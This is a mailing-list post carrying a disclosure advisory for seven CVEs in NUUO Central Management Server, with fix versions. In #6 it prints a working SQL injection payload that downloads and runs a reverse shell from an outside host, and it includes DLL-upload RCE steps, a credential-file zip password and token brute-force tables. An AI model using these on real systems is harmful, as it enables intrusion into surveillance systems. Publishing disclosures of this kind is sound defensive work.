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Date: Mon, 21 Jan 2019 17:29:36 +0700
From: Pedro Ribeiro <pedrib@...il.com>
To: fulldisclosure@...lists.org, bugtraq@...urityfocus.com
Subject: [FD] [Several CVE]: NUUO CMS - multiple vulnerabilities resulting
 in unauth RCE

Hi,

In October 2018, ICS-CERT issued an advisory for Nuuo CMS:
https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02

Long story short, Nuuo CMS contained several vulnerabilities that allow
an unauthenticated attacker (up to version 2.3) or an authenticated
attacker (up to version 3.5) to achieve RCE, download arbitrary files, etc.

Disclosure on this one took near TWO YEARS. And even after Nuuo saying
they have fixed everything, they clearly haven't. I only held off
disclosing it earlier because I had promised ICS-CERT not to do so.
Their work and patience (ICS-CERT) is much appreciated in this disclosure.

I'm releasing 4 Metasploit exploit modules with this advisory that
target different versions of the software, and the one which exploits
the arbitrary file download still works on the latest version (3.5).

The full advisory is below, and a copy can be fetched from
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt


>> Multiple vulnerabilities in NUUO Central Management Server
>> Discovered by Pedro Ribeiro (pedrib@...il.com), Agile Information
Security (http://www.agileinfosec.co.uk/)
==========================================================================
Disclosure: 11/10/2018 / Last updated: 21/01/2019


>> Background on the affected products:
NUUO is a vendor of Network Video Recording (NVR) systems for
surveillance cameras. These NVR are Linux embedded video recording
systems that can manage a number of cameras and are used worldwide by
public institutions, banks, SME's, etc.

From their webpage:
"The Central Management System (NCS) is a powerful system which brings
traditional central management systems out of the control room through
Internet access. The network-based key operation system can manage
unlimited combinations of analog and network cameras worldwide, via
unlimited working stations in different locations. NCS is the universal
solution for large scale projects.
The NCS System uses client/server architecture to manage unlimited
recording systems. These send events to the NCS Alarm Server. After
filtering the events, the NCS Alarm server sends alarm logs of
pre-determined events to a SQL Server (SQL database) and NCS Client
systems. The NCS Client system allows users in different locations to
log in to the NCS Alarm server and, if they have the authority, to
change the system configuration. The NCS Matrix system can be viewed as
an extension of the NCS client used to populate the alarms to additional
monitors. NCS Matrix system is controlled by NCS Client users."

A more detailed explanation can be found in [1]. Nuuo Central Management
System / NCS will be referred to as CMS for the remainder of this document.

The disclosure of these vulnerabilities were handled by ICS-CERT, which
have generously donated their time to ensure (some) vulnerabilities were
fixed by Nuuo. Their advisory can be seen at [2].
It Nuuo TWO YEARS to fix 6 out of 7 of the vulnerabilities presented
here, and one of them (authenticated arbitrary file download) is still
unfixed as of the date of the latest update to this advisory.

The vulnerablities were reported to ICS-CERT on 4/11/2016, and ICS-CERT
reported them to Nuuo shortly after. There were many emails back and
forth between ICS-CERT, myself and Nuuo, until finally ICS-CERT
disclosed the vulnerability on 11/10/2018, 23 days shy of two years.
I will not write a detailed timeline nor disclose any communications, as
it is clear that Nuuo handled this in a very incompetent way. The only
reason I did not disclose it earlier was because of the help and
patience of ICS-CERT.

Four Metasploit modules have been released with this advisory ([3]).
These will be submitted to Metasploit in the coming days and should be
integrated into the framework soon.
A copy of this advisory can be found at [4].


>> Summary:
NUUO CMS uses a ASCII based network protocol ("NUCM") which is similar
to HTTP. This protocol is used for communication between the CMS client
and the server. The default port for this protocol is TCP 5180.

As an example, for the CMS client to login to CMS server the following
request is sent:
USERLOGIN NUCM/1.0
Version: <CLIENT_VERSION>
Username: <USERNAME>
Password-Length: <PW_LEN>
TimeZone-Length: <TZ_LEN>

<PASSWORD><TIMEZONE>

To which the server responds:
NUCM/1.0 200 OK
User-Valid: 1
Server-Version: <SERVER_VERSION>
Ini-Version: 1
License-Number: <LICENSE>
User-Session-No: <USER_SESSION>

The client can then issue a series of commands, such as order cameras to
move, make a backup of the alarms in the server, create a user, etc.

The full list of HTTP-like verbs that the NUCM protocol accepts can be
found in Appendix #A.

While this protocol provides a mechanism for authentication, the
assignment of user session numbers is flawed, and can easily be guessed
by an attacker in under 500,000 attempts (probably less if analysed
thoroughly).

In addition to this, some verbs of the protocol have directory traversal
flaws, which can be exploited by an authenticated attacker to download
and upload files, and can also be abused to achieve remote code
execution, while other verbs such as the GETOPENALARM verb contain a SQL
injection vulnerability. Finally, the CMS Server installs an outdated
and vulnerable version of SQL Server by default (SQL Server 2005
Express), and both the CMS client and server disable the Windows User
Access Control after installation, which is not a great idea.

<TODO PLEASE IGNORE> Metasploit exploits and auxiliary modules for #1,
#4, #5 and #6 have been released.>


>> Technical details:
#1
Vulnerability: Predictable session tokens
CVE-2018-17888
Attack Vector: Remote
Constraints: None
Affected products / versions:
- NUUO Central Management Server (CMS): all versions below 2.4.0

The NUUO CMS protocol uses session tokens in a similar way to HTTP
cookies. As mentioned in the summary, if a USERLOGIN request is sent
with a correct username and password, a "User-Session-No" token will be
returned. The number returned is composed of 8 digits, so if an attacker
wanted to guess it, they would have 10 million possibilities, and would
be able to bruteforce it on average after 5 million tries.

The function responsible for creating a new user is at offset 0x454E80
in CMS_Server.exe version 2.1. It sets up a new user object and returns
the session token to the calling function. This function has what is
probably a coding error - the number returned is actually not a number,
but the heap address of the user object created by invoking "new()" in
the user object class. An assembly snippet is shown below:
.text:00454E80 000                 push    0FFFFFFFFh
.text:00454E82 004                 push    offset loc_5E2013
.text:00454E87 008                 mov     eax, large fs:0
.text:00454E8D 008                 push    eax
.text:00454E8E 00C                 sub     esp, 8
.text:00454E91 014                 push    ebp
.text:00454E92 018                 push    esi
.text:00454E93 01C                 push    edi
.text:00454E94 020                 mov     eax, dword_68D134
.text:00454E99 020                 xor     eax, esp
.text:00454E9B 020                 push    eax
.text:00454E9C 024                 lea     eax, [esp+24h+var_C]
.text:00454EA0 024                 mov     large fs:0, eax
.text:00454EA6 024                 mov     ebp, ecx
.text:00454EA8 024                 lea     edi, [ebp+43Ch]
.text:00454EAE 024                 push    edi             ;
lpCriticalSection_EnterCriticalSection
.text:00454EAF 028                 mov     [esp+28h+var_10], edi
.text:00454EB3 028                 call    ds:EnterCriticalSection
.text:00454EB9 024                 push    1B8h            ; unsigned int
.text:00454EBE 028                 mov     [esp+28h+var_4], 0
.text:00454EC6 028                 call    ??2@...AXI@Z    ; new()
operator, returns object in eax
(...)

After the call to ??2@...AXI@Z in .text:00454EC6, the session number is
returned to the calling function (sub_457100), which then stores it and
sends it back to the client as the valid session number:
NUCM/1.0 200 OK
User-Valid: %d
Server-Version: %s
Ini-Version: %d
License-Number: %d
User-Session-No: %u <---- session number, which is a hexadecimal memory
address converted to decimal

These session numbers (tokens) are not that easy to predict, however
after collecting thousands of samples I was able to build a table of the
most common occurrences, which reduces the possibilities from 10 million
to about 1.2 million. In practice, the tokens can usually be guessed
between in less than 500,000 attempts - an improvement of 95% over
standard bruteforcing. It is likely this can be further improved with
some deeper analysis, but due to time constraints this was not
investigated further. The tables used to do the bruteforcing are in
Appendix #C.

This attack is perfectly feasible despite the high number of attempts
needed. Firstly, there is no bruteforce protection on the CMS server, so
we can just flood it with requests and find the session number in less
than an hour.
Secondly, due to the nature of this application, it is normal to have
the software clients logged in for a long amount of time (days, weeks)
in order to monitor the video cameras controlled by CMS.

It is worth noticing that when a user logs in, the session has to be
maintained by periodically sending a PING request. To bruteforce the
session, we send each guess with a PING request until a 200 OK message
is received.


#2
Vulnerability: Outdated and insecure software component (SQL Server 2005
Express)
CVE-2018-17890
Attack Vector: N/A
Constraints: N/A
Affected products / versions:
- NUUO Central Management Server (CMS): all versions below 2.10.0

NUUO CMS installs by default SQL Server 2005 Express in the host that
will have the CMS database. This is an outdated and insecure version of
SQL Server Express, which has plenty of security advisories and exploits
that can be used against it. This is leveraged in vulnerability #6 to
achieve remote code execution via SQL injection.
Version 2.10.0 updates it to SQL Server 2014, which is still outdated.
Nuuo considers this vulnerability "fixed".


#3
Vulnerability: Insecure default configuration (Windows User Access
Control is disabled by CMS)
CVE-2018-17892
Attack Vector: N/A
Constraints: N/A
Affected products / versions:
- NUUO Central Management Server (CMS): all versions below 2.5
- NUUO Central Management client: at least version 2.3.2, others unknown

At the end of the NUUO CMS Server installation, the installer informs
the user that the Windows User Access Control (UAC) will be disabled.
After the installation is finished, UAC will remain disabled in the CMS
host. This leaves the host in an insecure state, as the user will not be
notified of any actions being performed that are deemed sensitive by
Windows. Some CMS Client versions also disable UAC after installation
(at least version 2.3.2, other versions vary in behaviour).


#4
Vulnerability: Directory traversal on "GETCONFIG" file download function
(arbitrary file download)
CVE-2018-17934
Attack Vector: Remote
Constraints: Authentication required (either by having an account or
hijacking the session token as described in #1)
Affected products / versions:
- NUUO Central Management Server (CMS): all versions up to and including
3.5.0

The GETCONFIG verb is used by a CMS client to obtain configuration files
and other resources from the CMS server. An example request is below:

GETCONFIG NUCM/1.0
FileName: <filename>
FileType: <number>
User-Session-No: <session-number>

The FileType determines the directory where the file will be downloaded
from. "FileType: 0" will download from the base installation directory
(CMS_DIR), while "FileType: 1" will download from
"<CMS_DIR>\Images\Map\". There are other defined FileType integers, but
these have not been investigated in detail.

The vulnerability is in the "FileName" parameter, which accepts
directory traversal (..\\..\\) characters. Therefore, this function can
be abused to obtain any files off the file system, including:
- CMServer.cfg, a file zipped with the password "NUCMS2007!" that
contains the usernames and passwords of all the system users (enabling a
less privileged user to obtain the administrator's password)
- ServerConfig.cfg, another file zipped with the password "NUCMS2007!"
that contains the SQL Server "sa" password as well the FTP server
username and password
- Any other sensitive files in the drive where CMS Server is installed.


#5
Vulnerability: Directory traversal on "COMMITCONFIG" file upload
function (arbitrary file upload, exploitable for remote code execution)
CVE-2018-17936
Attack Vector: Remote
Constraints: Authentication required (either by having an account or
hijacking the session token as described in #1)
Affected products / versions:
- NUUO Central Management Server (CMS): all versions below 2.5

The COMMITCONFIG verb is used by a CMS client to upload and modify the
configuration of the CMS Server. An example is below:

COMMITCONFIG NUCM/1.0
User-Session-No: <session-number>
Filename: <filename>
FileType: <number>
Content-Lenght: <file-length>
<FILE_DATA>

The vulnerability is in the "FileName" parameter, which accepts
directory traversal (..\\..\\) characters. Therefore, this function can
be abused to overwrite any files in the installation drive of CMS Server.

It is possible to achieve remote code execution by doing the following:
1) Create a payload DLL using msfvenom, backdoor-factory or similar tools
2) Upload the payload LicenseTool.dll using COMMITCONFIG, and replace
the existing file
3) Force the server to load LicenseTool.dll by sending the GETLICINFO or
SENDLICFILE NUCM command
4) CMS will then execute the payload upon loading LicenseTool.dll

This vulnerability also makes it possible to change the administrator
password (by a non-administrator user), replacing various configuration
files, write arbitrary files to the drive where CMS is installed, etc.


#6
Vulnerability: SQL injection in GETOPENALARM (exploitable for remote
code execution)
CVE-2018-18982
Attack Vector: Remote
Constraints: Authentication required (either by having an account or
hijacking the session token as described in #1)
Affected products / versions:
- NUUO Central Management Server (CMS): all versions below 3.1

The GETOPENALARM verb is used to obtain information about alarms stored
in the CMS Server database. An example request is below:

GETOPENALARM NUCM/1.0
DeviceID: <number>
SourceServer: <server-id>
LastOne: <number>

The vulnerability is in the "SourceServer" parameter, which allows
injection of arbitrary SQL characters, and can be abused to inject SQL
into the executing statement. For example the following request:

GETOPENALARM NUCM/1.0
DeviceID: 1
SourceServer: ';drop table bobby;--
LastOne: 3

Will cause the following SQL query to be executed on the server:
SELECT AlarmNo, EventType, DeviceID, Channel, EventDesc, DateTime,
PreviewImage, SourceServer, AlarmID, State, Priority, Owner, HistoryNo,
PosTransaction, AlarmNote, AlarmType FROM AlarmLog WHERE DeviceID=1 AND
SourceServer='';drop table bobby;-- ' AND State<20 order by DateTime DESC

Given that SQL Server 2005 Express is used by default (see vulnerability
#2), this can be abused to enable xp_cmdshell and achieve remote code
execution.

As as example, here is a full working exploit that downloads a reverse
shell from http://10.0.99.102/shell.exe and executes it:
';exec sp_configure 'show advanced options', 1; reconfigure; exec
sp_configure 'xp_cmdshell', 1; reconfigure; declare @q varchar(8000);
select
@q=0x78705f636d647368656c6c2027636420433a5c77696e646f77735c74656d705c202626206563686f202473746f726167654469723d24707764203e20776765742e707331202626206563686f2024776562636c69656e74203d204e65772d4f626a6563742053797374656d2e4e65742e576562436c69656e74203e3e20776765742e707331202626206563686f202475726c203d2022687474703a2f2f31302e302e39392e3130322f7368656c6c2e65786522203e3e20776765742e707331202626206563686f202466696c65203d20227368656c6c2e65786522203e3e20776765742e707331202626206563686f2024776562636c69656e742e446f776e6c6f616446696c65282475726c2c2466696c6529203e3e20776765742e70733120262620706f7765727368656c6c2e657865202d457865637574696f6e506f6c69637920427970617373202d4e6f4c6f676f202d4e6f6e496e746572616374697665202d4e6f50726f66696c65202d46696c6520776765742e70733120262620636d64202f6320433a5c77696e646f77735c74656d705c7368656c6c2e65786527;
exec (@q);--

The encoded part of the exploit is the following:
xp_cmdshell 'cd C:\windows\temp\ && echo $storageDir=$pwd > wget.ps1 &&
echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && echo
$url = "http://10.0.99.102/shell.exe" >> wget.ps1 && echo $file =
"shell.exe" >> wget.ps1 && echo $webclient.DownloadFile($url,$file) >>
wget.ps1 && powershell.exe -ExecutionPolicy Bypass -NoLogo
-NonInteractive -NoProfile -File wget.ps1 && cmd /c
C:\windows\temp\shell.exe'


#7
Vulnerability: Insecure default administrator password
CVE-2018-17894
Attack Vector: Remote
Constraints: None
Affected products / versions:
- NUUO Central Management Server (CMS): all versions below 3.1

The "admin" user has an empty ("") default password and does not force
the user to change it upon first login.
An attacker that abuses this information can obtain configuration files,
write files to disk, and perform other sensitive or dangerous actions,
including others mentioned in this vulnerability report, such as
injecting a malicious DLL to achieve code execution.


>> Fix:
For #1, upgrade to Nuuo Central Management Server (CMS) version 2.4 or
above.
For #2, upgrade to CMS version 2.10 or above.
For #3 and #5, upgrade to CMS version 2.5 or above.
For #6 and #7, upgrade to CMS version 3.1 or above.

Vulnerability #4 remains unfixed on the latest version at the time of
writing, CMS version 3.5.

Please note that Agile Information Security does not verify any fixes,
except when noted in the advisory or requested by the vendor. The vendor
fixes might be ineffective or incomplete, and it is the vendor's
responsibility to ensure the vulnerablities found by Agile Information
Security are resolved properly.


>> References:
[1] http://www.nuuo.com/ProductNode.php?node=3
[2] https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02
[3] https://github.com/pedrib/PoC/tree/master/exploits/metasploit/nuuo_cms
[4]
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt

>> Appendix:

#A
Full list of HTTP-like verbs in NUCM (collected in CMS version 2.1.0):

GetALARMNOTETEMPLATE
UPDATEALARMNOTETEMPLATE
SENDEMAIL
ALARMPROPERTY
PING
ASKPTZPRIORIT
GETADDOMAINUSER
GETADLOCALUSER
GETADPATH
NCSADDSYSTEMLOG
NCSSYSTEMLOG
BACKUPCANCEL
BACKUP
SENDLICFILE
GETLICSTATUS
GETLICINFO
GETSERVERSTATUS
GETPOSDATA
SENDSMSMESSAGE
GETCOMPORTS
GETPREVIEWIMG
QUERYALARM
GETOPENALARM
UPDATEALARMHISTORY
QUERYALARMHISTORYCRI
QUERYALARMHISTORY
CLIENTREADY
COMMITCONFIG
GETCONFIG
USERLOGOUT
USERLOGIN


#B
A few of the NUCM error codes:
603 - Forbidden (invalid session)
612 - Incorrect protocol version


#C Table used to generate to generate the session tokens

# These tables were generated by doing thousands of requests to a NUUO
CMS Server and collecting the responses.
# Table id: hex-nu-mod

# 1048576 total combinations
WEIGHTED_ARRAY_7 =
  ["2"],
  ["4", "6", "5", "7", "8", "2", "0", "1"],
  ["1", "6", "0", "8", "d", "7", "c", "e", "2", "b", "f", "3", "5", "4",
"a", "9"],
  ["d", "6", "4", "5", "f", "0", "8", "7", "a", "3", "1", "b", "c", "e",
"9", "2"],
  ["3", "e", "f", "1", "c", "5", "9", "d", "8", "6", "0", "4", "a", "2",
"b", "7"],
  ["d", "4", "2", "b", "3", "6", "8", "1", "a", "7", "f", "e", "0", "9",
"5", "c"],
  ["8", "0"]

# 189000 total combinations
WEIGHTED_ARRAY_6 =
  ["9", "a"],
  ["7", "c", "6", "f", "e", "a", "d", "9", "4", "5", "3", "2", "b", "0",
"8"],
  ["7", "b", "6", "d", "a", "3", "4", "f", "5", "1", "8", "e", "c", "2"],
  ["3", "1", "c", "f", "d", "4", "b", "a", "6", "2", "5", "e", "8", "9",
"0"],
  ["3", "6", "7", "b", "e", "9", "2", "f", "4", "1", "c", "a", "0", "d",
"8"],
  ["0", "8"]


================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>

-- 
Pedro Ribeiro
Vulnerability and Reverse Engineer / Cyber Security Specialist

pedrib@...il.com
PGP: 4CE8 5A3D 133D 78BB BC03 671C 3C39 4966 870E 966C


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